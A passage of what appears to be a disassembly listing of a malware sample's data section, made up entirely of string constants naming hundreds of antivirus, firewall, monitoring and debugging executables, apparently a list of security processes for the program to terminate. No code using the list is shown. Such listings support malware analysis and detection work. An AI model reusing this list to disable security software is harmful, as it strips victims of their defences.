XREF: .data:00434D50o aSh_exe db 'SH.EXE',0 ; DATA XREF: .data:00434D4Co align 4 aSgssfw32_exe db 'SGSSFW32.EXE',0 ; DATA XREF: .data:00434D48o align 4 aSfc_exe db 'SFC.EXE',0 ; DATA XREF: .data:00434D44o aSetup_flowprot db 'SETUP_FLOWPROTECTOR_US.EXE',0 ; DATA XREF: .data:00434D40o align 4 aSetupvameeval_ db 'SETUPVAMEEVAL.EXE',0 ; DATA XREF: .data:00434D3Co align 10h aServlces_exe db 'SERVLCES.EXE',0 ; DATA XREF: .data:00434D38o align 10h aServlce_exe db 'SERVLCE.EXE',0 ; DATA XREF: .data:00434D34o aService_exe db 'SERVICE.EXE',0 ; DATA XREF: .data:00434D30o aServ95_exe db 'SERV95.EXE',0 ; DATA XREF: .data:00434D2Co align 4 aSd_exe db 'SD.EXE',0 ; DATA XREF: .data:00434D28o align 4 aScvhost_exe db 'SCVHOST.EXE',0 ; DATA XREF: .data:00434D24o aScrsvr_exe db 'SCRSVR.EXE',0 ; DATA XREF: .data:00434D20o align 4 aScrscan_exe db 'SCRSCAN.EXE',0 ; DATA XREF: .data:00434D1Co aScanpm_exe db 'SCANPM.EXE',0 ; DATA XREF: .data:00434D18o align 4 aScan95_exe db 'SCAN95.EXE',0 ; DATA XREF: .data:00434D14o align 4 aScan32_exe db 'SCAN32.EXE',0 ; DATA XREF: .data:00434D10o align 4 aScam32_exe db 'SCAM32.EXE',0 ; DATA XREF: .data:00434D0Co align 10h aSc_exe db 'SC.EXE',0 ; DATA XREF: .data:00434D08o align 4 aSbserv_exe db 'SBSERV.EXE',0 ; DATA XREF: .data:00434D04o align 4 aSavenow_exe db 'SAVENOW.EXE',0 ; DATA XREF: .data:00434D00o aSave_exe db 'SAVE.EXE',0 ; DATA XREF: .data:00434CFCo align 4 aSahagent_exe db 'SAHAGENT.EXE',0 ; DATA XREF: .data:00434CF8o align 4 aSafeweb_exe db 'SAFEWEB.EXE',0 ; DATA XREF: .data:00434CF4o aRuxdll32_exe db 'RUXDLL32.EXE',0 ; DATA XREF: .data:00434CF0o align 4 aRundll16_exe db 'RUNDLL16.EXE',0 ; DATA XREF: .data:00434CECo align 4 aRundll_exe db 'RUNDLL.EXE',0 ; DATA XREF: .data:00434CE8o align 4 aRun32dll_exe db 'RUN32DLL.EXE',0 ; DATA XREF: .data:00434CE4o align 4 aRulaunch_exe db 'RULAUNCH.EXE',0 ; DATA XREF: .data:00434CE0o align 4 aRtvscn95_exe db 'RTVSCN95.EXE',0 ; DATA XREF: .data:00434CDCo align 4 aRtvscan_exe db 'RTVSCAN.EXE',0 ; DATA XREF: .data:00434CD8o aRshell_exe db 'RSHELL.EXE',0 ; DATA XREF: .data:00434CD4o align 4 aRrguard_exe db 'RRGUARD.EXE',0 ; DATA XREF: .data:00434CD0o aRescue32_exe db 'RESCUE32.EXE',0 ; DATA XREF: .data:00434CCCo align 4 aRescue_exe db 'RESCUE.EXE',0 ; DATA XREF: .data:00434CC8o align 4 aRegedt32_exe db 'REGEDT32.EXE',0 ; DATA XREF: .data:00434CC4o align 4 aRegedit_exe db 'REGEDIT.EXE',0 ; DATA XREF: .data:00434CC0o aReged_exe db 'REGED.EXE',0 ; DATA XREF: .data:00434CBCo align 4 aRealmon_exe db 'REALMON.EXE',0 ; DATA XREF: .data:00434CB8o aRcsync_exe db 'RCSYNC.EXE',0 ; DATA XREF: .data:00434CB4o align 4 aRb32_exe db 'RB32.EXE',0 ; DATA XREF: .data:00434CB0o align 10h aRay_exe db 'RAY.EXE',0 ; DATA XREF: .data:00434CACo aRav8win32eng_e db 'RAV8WIN32ENG.EXE',0 ; DATA XREF: .data:00434CA8o align 4 aRav7win_exe db 'RAV7WIN.EXE',0 ; DATA XREF: .data:00434CA4o aRav7_exe db 'RAV7.EXE',0 ; DATA XREF: .data:00434CA0o align 4 aRapapp_exe db 'RAPAPP.EXE',0 ; DATA XREF: .data:00434C9Co align 10h aQserver_exe db 'QSERVER.EXE',0 ; DATA XREF: .data:00434C98o aQconsole_exe db 'QCONSOLE.EXE',0 ; DATA XREF: .data:00434C94o align 4 aPview95_exe db 'PVIEW95.EXE',0 ; DATA XREF: .data:00434C90o aPussy_exe db 'PUSSY.EXE',0 ; DATA XREF: .data:00434C8Co align 4 aPurge_exe db 'PURGE.EXE',0 ; DATA XREF: .data:00434C88o align 10h aPspf_exe db 'PSPF.EXE',0 ; DATA XREF: .data:00434C84o align 4 aProtectx_exe db 'PROTECTX.EXE',0 ; DATA XREF: .data:00434C80o align 4 aProport_exe db 'PROPORT.EXE',0 ; DATA XREF: .data:00434C7Co aProgramauditor db 'PROGRAMAUDITOR.EXE',0 ; DATA XREF: .data:00434C78o align 4 aProcexplorerv1 db 'PROCEXPLORERV1.0.EXE',0 ; DATA XREF: .data:00434C74o align 4 aProcessmonitor db 'PROCESSMONITOR.EXE',0 ; DATA XREF: .data:00434C70o align 4 aProcdump_exe db 'PROCDUMP.EXE',0 ; DATA XREF: .data:00434C6Co align 4 aPrmvr_exe db 'PRMVR.EXE',0 ; DATA XREF: .data:00434C68o align 4 aPrmt_exe db 'PRMT.EXE',0 ; DATA XREF: .data:00434C64o align 10h aPrizesurfer_ex db 'PRIZESURFER.EXE',0 ; DATA XREF: .data:00434C60o aPpvstop_exe db 'PPVSTOP.EXE',0 ; DATA XREF: .data:00434C5Co aPptbc_exe db 'PPTBC.EXE',0 ; DATA XREF: .data:00434C58o align 4 aPpinupdt_exe db 'PPINUPDT.EXE',0 ; DATA XREF: .data:00434C54o align 4 aPowerscan_exe db 'POWERSCAN.EXE',0 ; DATA XREF: .data:00434C50o align 4 aPortmonitor_ex db 'PORTMONITOR.EXE',0 ; DATA XREF: .data:00434C4Co aPortdetective_ db 'PORTDETECTIVE.EXE',0 ; DATA XREF: .data:00434C48o align 4 aPopscan_exe db 'POPSCAN.EXE',0 ; DATA XREF: .data:00434C44o aPoproxy_exe db 'POPROXY.EXE',0 ; DATA XREF: .data:00434C40o aPop3trap_exe db 'POP3TRAP.EXE',0 ; DATA XREF: .data:00434C3Co align 4 aPlatin_exe db 'PLATIN.EXE',0 ; DATA XREF: .data:00434C38o align 10h aPingscan_exe db 'PINGSCAN.EXE',0 ; DATA XREF: .data:00434C34o align 10h aPgmonitr_exe db 'PGMONITR.EXE',0 ; DATA XREF: .data:00434C30o align 10h aPfwadmin_exe db 'PFWADMIN.EXE',0 ; DATA XREF: .data:00434C2Co align 10h aPf2_exe db 'PF2.EXE',0 ; DATA XREF: .data:00434C28o aPerswf_exe db 'PERSWF.EXE',0 ; DATA XREF: .data:00434C24o align 4 aPersfw_exe db 'PERSFW.EXE',0 ; DATA XREF: .data:00434C20o align 10h aPeriscope_exe db 'PERISCOPE.EXE',0 ; DATA XREF: .data:00434C1Co align 10h aPenis_exe db 'PENIS.EXE',0 ; DATA XREF: .data:00434C18o align 4 aPdsetup_exe db 'PDSETUP.EXE',0 ; DATA XREF: .data:00434C14o aPcscan_exe db 'PCSCAN.EXE',0 ; DATA XREF: .data:00434C10o align 4 aPcip10117_0_ex db 'PCIP10117_0.EXE',0 ; DATA XREF: .data:00434C0Co aPcfwallicon_ex db 'PCFWALLICON.EXE',0 ; DATA XREF: .data:00434C08o aPcdsetup_exe db 'PCDSETUP.EXE',0 ; DATA XREF: .data:00434C04o align 4 aPccwin98_exe db 'PCCWIN98.EXE',0 ; DATA XREF: .data:00434C00o align 4 aPccwin97_exe db 'PCCWIN97.EXE',0 ; DATA XREF: .data:00434BFCo align 4 aPccntmon_exe db 'PCCNTMON.EXE',0 ; DATA XREF: .data:00434BF8o align 4 aPcciomon_exe db 'PCCIOMON.EXE',0 ; DATA XREF: .data:00434BF4o align 4 aPcc2k_76_1436_ db 'PCC2K_76_1436.EXE',0 ; DATA XREF: .data:00434BF0o align 4 aPcc2002s902_ex db 'PCC2002S902.EXE',0 ; DATA XREF: .data:00434BECo aPavw_exe db 'PAVW.EXE',0 ; DATA XREF: .data:00434BE8o align 4 aPavsched_exe db 'PAVSCHED.EXE',0 ; DATA XREF: .data:00434BE4o align 4 aPavproxy_exe db 'PAVPROXY.EXE',0 ; DATA XREF: .data:00434BE0o align 4 aPavcl_exe db 'PAVCL.EXE',0 ; DATA XREF: .data:00434BDCo align 10h aPatch_exe db 'PATCH.EXE',0 ; DATA XREF: .data:00434BD8o align 4 aPanixk_exe db 'PANIXK.EXE',0 ; DATA XREF: .data:00434BD4o align 4 aPadmin_exe db 'PADMIN.EXE',0 ; DATA XREF: .data:00434BD0o align 4 aOutpostproinst db 'OUTPOSTPROINSTALL.EXE',0 ; DATA XREF: .data:00434BCCo align 4 aOutpostinstall db 'OUTPOSTINSTALL.EXE',0 ; DATA XREF: .data:00434BC8o align 10h aOutpost_exe db 'OUTPOST.EXE',0 ; DATA XREF: .data:00434BC0o ; .data:00434BC4o aOtfix_exe db 'OTFIX.EXE',0 ; DATA XREF: .data:00434BBCo align 4 aOstronet_exe db 'OSTRONET.EXE',0 ; DATA XREF: .data:00434BB8o align 4 aOptimize_exe db 'OPTIMIZE.EXE',0 ; DATA XREF: .data:00434BB4o align 4 aOnsrvr_exe db 'ONSRVR.EXE',0 ; DATA XREF: .data:00434BB0o align 4 aOllydbg_exe db 'OLLYDBG.EXE',0 ; DATA XREF: .data:00434BACo aNwtool16_exe db 'NWTOOL16.EXE',0 ; DATA XREF: .data:00434BA8o align 10h aNwservice_exe db 'NWSERVICE.EXE',0 ; DATA XREF: .data:00434BA4o align 10h aNwinst4_exe db 'NWINST4.EXE',0 ; DATA XREF: .data:00434BA0o aNvsvc32_exe db 'NVSVC32.EXE',0 ; DATA XREF: .data:00434B9Co aNvc95_exe db 'NVC95.EXE',0 ; DATA XREF: .data:00434B98o align 4 aNvarch16_exe db 'NVARCH16.EXE',0 ; DATA XREF: .data:00434B94o align 4 aNupgrade_exe db 'NUPGRADE.EXE',0 ; DATA XREF: .data:00434B8Co ; .data:00434B90o align 4 aNui_exe db 'NUI.EXE',0 ; DATA XREF: .data:00434B88o aNtxconfig_exe db 'NTXconfig.EXE',0 ; DATA XREF: .data:00434B84o align 4 aNtvdm_exe db 'NTVDM.EXE',0 ; DATA XREF: .data:00434B80o align 4 aNtrtscan_exe db 'NTRTSCAN.EXE',0 ; DATA XREF: .data:00434B7Co align 4 aNt_exe db 'NT.EXE',0 ; DATA XREF: .data:00434B78o align 10h aNsupdate_exe db 'NSUPDATE.EXE',0 ; DATA XREF: .data:00434B74o align 10h aNstask32_exe db 'NSTASK32.EXE',0 ; DATA XREF: .data:00434B70o align 10h aNssys32_exe db 'NSSYS32.EXE',0 ; DATA XREF: .data:00434B6Co aNsched32_exe db 'NSCHED32.EXE',0 ; DATA XREF: .data:00434B68o align 4 aNpssvc_exe db 'NPSSVC.EXE',0 ; DATA XREF: .data:00434B64o align 4 aNpscheck_exe db 'NPSCHECK.EXE',0 ; DATA XREF: .data:00434B60o align 4 aNprotect_exe db 'NPROTECT.EXE',0 ; DATA XREF: .data:00434B5Co align 4 aNpfmessenger_e db 'NPFMESSENGER.EXE',0 ; DATA XREF: .data:00434B58o align 4 aNpf40_tw_98_nt db 'NPF40_TW_98_NT_ME_2K.EXE',0 ; DATA XREF: .data:00434B54o align 4 aNotstart_exe db 'NOTSTART.EXE',0 ; DATA XREF: .data:00434B50o align 4 aNorton_interne db 'NORTON_INTERNET_SECU_3.0_407.EXE',0 ; DATA XREF: .data:00434B4Co align 4 aNormist_exe db 'NORMIST.EXE',0 ; DATA XREF: .data:00434B48o aNod32_exe db 'NOD32.EXE',0 ; DATA XREF: .data:00434B44o align 4 aNmain_exe db 'NMAIN.EXE',0 ; DATA XREF: .data:00434B40o align 10h aNisum_exe db 'NISUM.EXE',0 ; DATA XREF: .data:00434B3Co align 4 aNisserv_exe db 'NISSERV.EXE',0 ; DATA XREF: .data:00434B38o aNetutils_exe db 'NETUTILS.EXE',0 ; DATA XREF: .data:00434B34o align 4 aNetstat_exe db 'NETSTAT.EXE',0 ; DATA XREF: .data:00434B30o aNetspyhunter1_ db 'NETSPYHUNTER-1.2.EXE',0 ; DATA XREF: .data:00434B2Co align 4 aNetscanpro_exe db 'NETSCANPRO.EXE',0 ; DATA XREF: .data:00434B28o align 4 aNetmon_exe db 'NETMON.EXE',0 ; DATA XREF: .data:00434B24o align 4 aNetinfo_exe db 'NETINFO.EXE',0 ; DATA XREF: .data:00434B20o aNetd32_exe db 'NETD32.EXE',0 ; DATA XREF: .data:00434B1Co align 10h aNetarmor_exe db 'NETARMOR.EXE',0 ; DATA XREF: .data:00434B18o align 10h aNeowatchlog_ex db 'NEOWATCHLOG.EXE',0 ; DATA XREF: .data:00434B14o aNeomonitor_exe db 'NEOMONITOR.EXE',0 ; DATA XREF: .data:00434B10o align 10h aNdd32_exe db 'NDD32.EXE',0 ; DATA XREF: .data:00434B0Co align 4 aNcinst4_exe db 'NCINST4.EXE',0 ; DATA XREF: .data:00434B08o aNc2000_exe db 'NC2000.EXE',0 ; DATA XREF: .data:00434B04o align 4 aNavwnt_exe db 'NAVWNT.EXE',0 ; DATA XREF: .data:00434B00o align 10h aNavw32_exe db 'NAVW32.EXE',0 ; DATA XREF: .data:00434AFCo align 4 aNavstub_exe db 'NAVSTUB.EXE',0 ; DATA XREF: .data:00434AF8o aNavnt_exe db 'NAVNT.EXE',0 ; DATA XREF: .data:00434AF4o align 4 aNavlu32_exe db 'NAVLU32.EXE',0 ; DATA XREF: .data:00434AF0o aNavengnavex15_ db 'NAVENGNAVEX15.NAVLU32.EXE',0 ; DATA XREF: .data:00434AECo align 4 aNavdx_exe db 'NAVDX.EXE',0 ; DATA XREF: .data:00434AE8o align 4 aNavapw32_exe db 'NAVAPW32.EXE',0 ; DATA XREF: .data:00434AE4o align 4 aNavapsvc_exe db 'NAVAPSVC.EXE',0 ; DATA XREF: .data:00434AE0o align 4 aNavap_navapsvc db 'NAVAP.NAVAPSVC.EXE',0 ; DATA XREF: .data:00434ADCo align 4 aAutoProtect_na db 'AUTO-PROTECT.NAV80TRY.EXE',0 ; DATA XREF: .data:00434AD8o align 4 aNav_exe db 'NAV.EXE',0 ; DATA XREF: .data:00434AD4o aN32scanw_exe db 'N32SCANW.EXE',0 ; DATA XREF: .data:00434AD0o align 10h aMwatch_exe db 'MWATCH.EXE',0 ; DATA XREF: .data:00434ACCo align 4 aMu0311ad_exe db 'MU0311AD.EXE',0 ; DATA XREF: .data:00434AC8o align 4 aMsvxd_exe db 'MSVXD.EXE',0 ; DATA XREF: .data:00434AC4o align 4 aMssys_exe db 'MSSYS.EXE',0 ; DATA XREF: .data:00434AC0o align 4 aMssmmc32_exe db 'MSSMMC32.EXE',0 ; DATA XREF: .data:00434ABCo align 4 aMsmsgri32_exe db 'MSMSGRI32.EXE',0 ; DATA XREF: .data:00434AB8o align 4 aMsmgt_exe db 'MSMGT.EXE',0 ; DATA XREF: .data:00434AB4o align 10h aMslaugh_exe db 'MSLAUGH.EXE',0 ; DATA XREF: .data:00434AB0o aMsinfo32_exe db 'MSINFO32.EXE',0 ; DATA XREF: .data:00434AACo align 4 aMsiexec16_exe db 'MSIEXEC16.EXE',0 ; DATA XREF: .data:00434AA8o align 4 aMsdos_exe db 'MSDOS.EXE',0 ; DATA XREF: .data:00434AA4o align 4 aMsdm_exe db 'MSDM.EXE',0 ; DATA XREF: .data:00434AA0o align 4 aMsconfig_exe db 'MSCONFIG.EXE',0 ; DATA XREF: .data:00434A9Co align 4 aMscman_exe db 'MSCMAN.EXE',0 ; DATA XREF: .data:00434A98o align 10h aMsccn32_exe db 'MSCCN32.EXE',0 ; DATA XREF: .data:00434A94o aMscache_exe db 'MSCACHE.EXE',0 ; DATA XREF: .data:00434A90o aMsblast_exe db 'MSBLAST.EXE',0 ; DATA XREF: .data:00434A8Co aMsbb_exe db 'MSBB.EXE',0 ; DATA XREF: .data:00434A88o align 10h aMsapp_exe db 'MSAPP.EXE',0 ; DATA XREF: .data:00434A84o align 4 aMrflux_exe db 'MRFLUX.EXE',0 ; DATA XREF: .data:00434A80o align 4 aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .data:00434A7Co aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .data:00434A78o align 4 aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .data:00434A74o align 4 aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .data:00434A70o align 10h aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .data:00434A6Co aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .data:00434A68o aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .data:00434A64o align 4 aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .data:00434A60o aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .data:00434A5Co align 4 aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .data:00434A58o align 4 aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .data:00434A54o aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .data:00434A50o align 4 aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .data:00434A4Co align 4 aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .data:00434A48o align 4 aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .data:00434A44o align 10h aMd_exe db 'MD.EXE',0 ; DATA XREF: .data:00434A40o align 4 aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .data:00434A3Co align 4 aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .data:00434A38o aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .data:00434A30o ; .data:00434A34o align 4 aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .data:00434A2Co align 10h aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .data:00434A28o align 10h aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .data:00434A24o align 10h aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .data:00434A20o aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .data:00434A1Co align 4 aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .data:00434A18o align 4 aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .data:00434A14o align 4 aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .data:00434A10o aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .data:00434A0Co align 10h aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .data:00434A04o ; .data:00434A08o align 4 aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .data:00434A00o align 4 aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .data:004349FCo align 4 aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .data:004349F8o aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .data:004349F4o align 4 aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .data:004349F0o align 4 aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .data:004349ECo align 4 aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .data:004349E8o align 10h aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .data:004349E4o align 10h aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .data:004349E0o align 4 aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .data:004349DCo align 4 aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .data:004349D8o align 4 aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .data:004349D4o align 4 aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .data:004349D0o align 4 aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .data:004349CCo aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .data:004349C8o align 10h aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .data:004349C4o align 4 aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .data:004349C0o align 4 aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .data:004349BCo aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .data:004349B8o align 10h aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .data:004349B4o align 4 aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .data:004349B0o align 4 aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .data:004349ACo align 4 aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .data:004349A8o align 10h aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .data:004349A4o align 4 aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .data:004349A0o aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .data:0043499Co align 4 aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .data:00434998o align 10h aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .data:00434994o align 4 aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .data:00434990o align 4 aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .data:0043498Co align 4 aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .data:00434988o aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .data:00434984o aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .data:00434980o align 4 aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .data:0043497Co align 4 aInit_exe db 'INIT.EXE',0 ; DATA XREF: .data:00434978o align 10h aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .data:00434974o align 4 aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .data:00434970o align 4 aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .data:0043496Co align 4 aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .data:00434968o aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .data:00434964o align 10h aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .data:00434960o align 10h aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .data:0043495Co align 10h aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .data:00434958o align 4 aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .data:00434954o align 4 aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .data:00434950o align 4 aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .data:00434948o ; .data:0043494Co align 4 aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .data:00434944o align 4 aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .data:00434940o align 4 aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .data:0043493Co align 4 aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .data:00434938o aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .data:00434934o align 4 aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .data:00434930o align 4 aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .data:0043492Co aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .data:00434928o align 4 aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .data:00434924o align 10h aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .data:00434920o align 4 aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .data:0043491Co align 4 aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .data:00434918o aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .data:00434914o align 10h aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .data:00434910o align 10h aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .data:0043490Co align 10h aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .data:00434908o align 4 aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .data:00434904o align 4 aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .data:00434900o aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .data:004348FCo align 4 aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .data:004348F8o align 4 aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .data:004348F4o aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .data:004348F0o align 10h aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .data:004348ECo align 4 aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .data:004348E8o align 4 aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .data:004348E4o align 4 aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .data:004348E0o align 10h aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .data:004348DCo align 4 aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .data:004348D8o align 4 aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .data:004348D4o align 4 aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .data:004348D0o align 10h aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .data:004348CCo align 4 aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .data:004348C8o align 4 aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .data:004348C4o align 4 aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .data:004348C0o align 10h aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .data:004348BCo align 4 aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .data:004348B8o aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .data:004348B4o align 10h aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .data:004348B0o align 4 aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .data:004348ACo align 10h aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .data:004348A8o align 4 aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .data:004348A4o align 10h aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .data:004348A0o align 10h aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .data:0043489Co align 10h aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .data:00434898o align 4 aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .data:00434894o align 4 aFast_exe db 'FAST.EXE',0 ; DATA XREF: .data:00434890o align 4 aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .data:0043488Co aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .data:00434888o aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .data:00434884o align 4 aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .data:00434880o align 4 aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .data:0043487Co align 4 aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .data:00434878o aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .data:00434874o align 10h aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .data:00434870o align 10h aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .data:0043486Co align 4 aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .data:00434868o align 4 aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .data:00434864o align 4 aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .data:00434860o align 4 aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .data:0043485Co align 4 aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .data:00434858o align 4 aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .data:00434854o align 4 aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .data:00434850o align 4 aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .data:0043484Co align 10h aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .data:00434848o aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .data:00434844o align 4 aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .data:00434840o aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .data:0043483Co align 10h aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .data:00434838o aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .data:00434834o align 4 aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .data:00434830o align 4 aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .data:0043482Co align 4 aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .data:00434828o aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .data:00434824o align 4 aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .data:00434820o align 10h aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .data:0043481Co align 10h aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .data:00434818o aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .data:00434814o align 4 aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .data:00434810o align 10h aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .data:0043480Co align 10h 